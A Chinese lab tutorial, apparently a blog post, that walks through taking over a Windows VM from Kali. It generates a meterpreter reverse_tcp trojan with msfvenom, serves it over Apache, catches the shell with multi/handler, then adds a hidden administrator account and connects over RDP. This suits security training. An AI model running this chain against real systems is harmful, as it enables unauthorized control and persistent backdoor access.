利用kali Linux 渗透windows 操作系统

利用kali Linux 渗透windows 操作系统

一、实验目的:使用kali生成木马,渗透windows系统

二、实验内容:

使用kali中的Metasploit生成木马,控制windows系统

三、实验环境

需要从VMware Workstation 中创建两台虚拟机

一台kali linux和一台靶机windows系统

1、攻击者ip(kali) 192.168.63.21

2、靶机ip(windows)192.168.63.20

四、实验步骤

先将虚拟机的网络模式修改为桥接模式

利用kali Linux 渗透windows 操作系统_第1张图片

利用kali Linux 渗透windows 操作系统_第2张图片

设置靶机ip(windows)

     从右下角网络右键打开网络和共享中心

利用kali Linux 渗透windows 操作系统_第3张图片

点击本地连接

利用kali Linux 渗透windows 操作系统_第4张图片

点击属性

利用kali Linux 渗透windows 操作系统_第5张图片

找到ipv4,双击点开

利用kali Linux 渗透windows 操作系统_第6张图片

设置ip地址

利用kali Linux 渗透windows 操作系统_第7张图片

查看靶机(windows)的ip地址

win+r输入cmd

利用kali Linux 渗透windows 操作系统_第8张图片

进入终端后输入ipconfig查看ip

ip地址为192.168.63.20 设置成功

利用kali Linux 渗透windows 操作系统_第9张图片

设置kali的ip

ifconfig eth0 [要修改的IP地址] netmask [子网掩码]

(重启后生效)

f13fef80eb3f4ec79f5f6d2c2567ca01.png

重启后进入终端输入ifconfig查看ip地址

ip地址为192.168.63.21

利用kali Linux 渗透windows 操作系统_第10张图片

保证两个系统能相互ping通

利用kali Linux 渗透windows 操作系统_第11张图片

利用kali Linux 渗透windows 操作系统_第12张图片

生成木马,在kali打开终端输入以下命令

msfvenom -p windows/meterpreter/reverse_tcp lhost=攻击者ip lport=监听端口 -f 后门文件类型 >/后门文件保存路径/evilshell.txt

利用kali Linux 渗透windows 操作系统_第13张图片

进入木马文件存放路径,将木马文件evilshell.exe复制到 /var/www/html, 输入命令:

c050305451194119bfd47feaab7691b8.png

进入目录 /var/www/html,将html目录下的其余文件删除,输入命令:

利用kali Linux 渗透windows 操作系统_第14张图片

开启apache服务,输入命令:

/etc/init.d/apache2 start

d0a8457cd2424d839e031be44cc05a3d.png

可以用以下命令查看服务开启状态:

/etc/init.d/apache2 status 

出现绿色的字代表服务已经开启

利用kali Linux 渗透windows 操作系统_第15张图片

在windows7靶机上打开浏览器输入kali的IP,访问kali并下载木马文件evilshell.exe

利用kali Linux 渗透windows 操作系统_第16张图片

将文件下载到桌面

利用kali Linux 渗透windows 操作系统_第17张图片

开启postgresql服务,其端口号为5432,输入命令

/etc/init.d/postgresql start

可以用/etc/init.d/postgresql status查看服务开启状态

利用kali Linux 渗透windows 操作系统_第18张图片

查看端口,输入命令

netstat -ntulp

利用kali Linux 渗透windows 操作系统_第19张图片

开启msfconsole,输入命令

msfconsole

利用kali Linux 渗透windows 操作系统_第20张图片

设置攻击模块并运行,输入命令:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 攻击者IP

set LPORT 监听端口

show options

run

利用kali Linux 渗透windows 操作系统_第21张图片

利用kali Linux 渗透windows 操作系统_第22张图片

在靶机中双击运行木马文件(evilshell.exe)

利用kali Linux 渗透windows 操作系统_第23张图片

获取目标主机shell,输入命令

shell

利用kali Linux 渗透windows 操作系统_第24张图片

出现乱码现象,输入命令:

chcp 437

225660fbfcb04720866b0cb2245a8cbf.png

输入ipconfig查看靶机的ip地址

利用kali Linux 渗透windows 操作系统_第25张图片

在靶机中添加一个隐藏用户(后面加$),并提升隐藏用户的权限,输入以下命令

net user host$ /add

net user

net user host$ 密码

net localgroup administrators host$ /add

net user host$

利用kali Linux 渗透windows 操作系统_第26张图片

利用kali Linux 渗透windows 操作系统_第27张图片

kali打开一个新的终端,使用远程桌面连接靶机(靶机需要开启远程连接服务),输入命令

rdesktop 靶机ip

利用kali Linux 渗透windows 操作系统_第28张图片

使用 host$密码 登录靶机,登录成功后,使用管理员权限打开cmd.添加一个新用户,添加成功则证明渗透成功!

利用kali Linux 渗透windows 操作系统_第29张图片

添加用户:

添加用户成功,表示渗透成功!

利用kali Linux 渗透windows 操作系统_第30张图片

用靶机端切换用户

可以查看到这里出现一个被攻击者添加的一个用户

利用kali Linux 渗透windows 操作系统_第31张图片

实验结果:我们在攻击靶机的时候获取到的权限仅仅为获取靶机的IP地址,对其IP进行渗透,靶机端访问了我们做好的木马文件,结果就被入侵了。

注:(此教程仅用于测试 切勿拿他人电脑恶意测试)

!!!不要将IP提供给他人,不要下载并运行陌生的软件,如果是木马文件,可能会被黑客攻击

你可能感兴趣的:(linux)